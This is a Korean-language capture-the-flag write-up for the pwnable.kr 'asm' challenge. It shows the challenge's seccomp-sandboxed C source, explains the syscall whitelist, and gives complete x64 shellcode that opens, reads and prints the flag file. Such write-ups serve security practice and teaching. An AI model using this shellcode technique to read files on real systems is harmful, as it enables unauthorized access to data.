wargame/pwnable.kr

pwnable.kr asm - writeup

DangDang's 2019. 3. 31. 05:26

#include <stdio.h>

#include <string.h>

#include <stdlib.h>

#include <sys/mman.h>

#include <seccomp.h>

#include <sys/prctl.h>

#include <fcntl.h>

#include <unistd.h>

 

 

#define LENGTH 128

 

 

void sandbox(){

    scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);

    if (ctx == NULL) {

        printf("seccomp error\n");

        exit(0);

    }

 

 

    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);

    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);

    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);

    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);

    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);

 

 

    if (seccomp_load(ctx) < 0){

        seccomp_release(ctx);

        printf("seccomp error\n");

        exit(0);

    }

    seccomp_release(ctx);

}

 

 

char stub[] = "\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48\x31\xed\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xd2\x4d\x31\xdb\x4d\x31\xe4\x4d\x31\xed\x4d\x31\xf6\x4d\x31\xff";

unsigned char filter[256];

int main(int argc, char* argv[]){

 

 

    setvbuf(stdout, 0, _IONBF, 0);

    setvbuf(stdin, 0, _IOLBF, 0);

 

 

    printf("Welcome to shellcoding practice challenge.\n");

    printf("In this challenge, you can run your x64 shellcode under SECCOMP sandbox.\n");

    printf("Try to make shellcode that spits flag using open()/read()/write() systemcalls only.\n");

    printf("If this does not challenge you. you should play 'asg' challenge :)\n");

 

 

    char* sh = (char*)mmap(0x41414000, 0x1000, 7, MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE, 0, 0);

    memset(sh, 0x90, 0x1000);

    memcpy(sh, stub, strlen(stub));

    

    int offset = sizeof(stub);

    printf("give me your x64 shellcode: ");

    read(0, sh+offset, 1000);

 

 

    alarm(10);

    chroot("/home/asm_pwn");    // you are in chroot jail. so you can't use symlink in /tmp

    sandbox();

    ((void (*)(void))sh)();

    return 0;

}


 

코드는 위와 같이 구성 되어 있다.


    char* sh = (char*)mmap(0x41414000, 0x1000, 7, MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE, 0, 0);

    memset(sh, 0x90, 0x1000);

    memcpy(sh, stub, strlen(stub));


 

sh에 메모리를 할당하고 0x1000만큼 0x90으로 초기화하고 stub안에 있는 값을 sh에 복사를 해줬다.

stub안에 있는 값들이 무엇일까?

바로 64bit에서 사용하는 레지스터를 0으로 초기화 시켜주는 작업이다.

즉, 찌거기를 제거해주고 있는 것이다.


0x0000000000000000: xor rax, rax

0x0000000000000003: xor rbx, rbx

0x0000000000000006: xor rcx, rcx

0x0000000000000009: xor rdx, rdx

0x000000000000000c: xor rsi, rsi

0x000000000000000f: xor rdi, rdi

0x0000000000000012: xor rbp, rbp

0x0000000000000015: xor r8, r8

0x0000000000000018: xor r9, r9

0x000000000000001b: xor r10, r10

0x000000000000001e: xor r11, r11

0x0000000000000021: xor r12, r12

0x0000000000000024: xor r13, r13

0x0000000000000027: xor r14, r14

0x000000000000002a: xor r15, r15


그 후에 우리가 원하는 쉘코드를 삽입하고 실행을 시키면된다.

하지만 그전에 sandbox()라는 함수를 부른다.

아래와 같은 작업을 하게 된다.


void sandbox(){

    scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);

    if (ctx == NULL) {

        printf("seccomp error\n");

        exit(0);

    }

 

    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);

    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);

    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);

    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);

    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);

 

    if (seccomp_load(ctx) < 0){

        seccomp_release(ctx);

        printf("seccomp error\n");

        exit(0);

    }

    seccomp_release(ctx);

}


sandbox함수 안에 있는 seccomp는 리눅스 커널에서 애플리케이션 샌드박싱 메커니즘을 제공하는 컴퓨터 보안 기능이다.

seccomp는 프로세스가 이미 열린 파일 디스크립터에서 exit(), sigreturn(), read(), write()를 제외한 어떠한 시스템 호출도 일으킬 수 없는 안전한 상태로 일방향 변환을 할 수 있게 한다.

 

하지만 seccomp_rule_add를 통해서 화이트리스트를 등록할 수 있다.

 

그래서 현재 open(), read(), write(), exit(), exit_group() 시스템콜도 사용이 가능하다.

즉, 화이트리스트 목록에 있는 시스템콜을 이용해서 x64 쉘코드를 만들면 된다.

 

asm@ubuntu:~$ cat readme

once you connect to port 9026, the "asm" binary will be executed under asm_pwn privilege.

make connection to challenge (nc 0 9026) then get the flag. (file name of the flag is same as the one in this directory)

 

reame를 읽어보면, 플래그의 파일이름이 실제 플래그를 얻을 수 있는 파일 이름과 같다고한다.

그렇다면 공격과정은 다음과 같다.

 

  1. open 함수를 통해 플래그의 파일이름을 연다

  2. read 함수를 통해 파일의 데이터를 읽는다

  3. write 함수를 통해 파일의 데이터를 써서, 플래그를 얻는다

  4. exit 함수를 통해 프로그램을 정상종료시켜준다.

 

이제 알았으니, 이를 토대로 어셈블리어를 작성해보자.

그후 컴파일을 하고, 링킹을 하고, 기계어로 보면, 다음과 같다.


"\x48\x31\xff\x48\xbf\x6f\x30\x6f\x30\x6f\x6e\x67\x00\x57\x48\xbf\x6f\x30\x6f\x30\x6f\x30\x6f\x30\x57\x48\xbf\x30\x30\x30\x30\x30\x30\x30\x30\x57\x48\xbf\x6f\x6f\x6f\x6f\x30\x30\x30\x30\x57\x48\xbf\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x57\x48\xbf\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x57\x48\xbf\x30\x30\x30\x30\x30\x6f\x6f\x6f\x57\x48\xbf\x30\x30\x30\x30\x30\x30\x30\x30\x57\x48\xbf\x30\x30\x30\x30\x30\x30\x30\x30\x57\x48\xbf\x6f\x6f\x6f\x6f\x30\x30\x30\x30\x57\x48\xbf\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x57\x48\xbf\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x57\x48\xbf\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x57\x48\xbf\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x57\x48\xbf\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x57\x48\xbf\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x57\x48\xbf\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x57\x48\xbf\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x57\x48\xbf\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x57\x48\xbf\x73\x5f\x76\x65\x72\x79\x5f\x6c\x57\x48\xbf\x65\x5f\x6e\x61\x6d\x65\x5f\x69\x57\x48\xbf\x5f\x74\x68\x65\x5f\x66\x69\x6c\x57\x48\xbf\x6c\x65\x2e\x73\x6f\x72\x72\x79\x57\x48\xbf\x5f\x74\x68\x69\x73\x5f\x66\x69\x57\x48\xbf\x61\x73\x65\x5f\x72\x65\x61\x64\x57\x48\xbf\x66\x69\x6c\x65\x5f\x70\x6c\x65\x57\x48\xbf\x6b\x72\x5f\x66\x6c\x61\x67\x5f\x57\x48\xbf\x70\x77\x6e\x61\x62\x6c\x65\x2e\x57\x48\xbf\x74\x68\x69\x73\x5f\x69\x73\x5f\x57\x48\xc7\xc0\x02\x00\x00\x00\x48\xc7\xc6\x00\x00\x00\x00\x48\x89\xe7\x0f\x05\x48\x89\xc7\x48\xc7\xc0\x00\x00\x00\x00\x48\x89\xe6\x48\xc7\xc2\x00\x01\x00\x00\x0f\x05\x48\xc7\xc0\x01\x00\x00\x00\x48\xc7\xc7\x01\x00\x00\x00\x48\x89\xe6\x48\xc7\xc2\x00\x01\x00\x00\x0f\x05\x48\xc7\xc0\x3c\x00\x00\x00\x48\xc7\xc7\x00\x00\x00\x00\x0f\x05"


그러면 이 쉘코드를, 넣어주기만 하면 플래그를 딸 수 있다.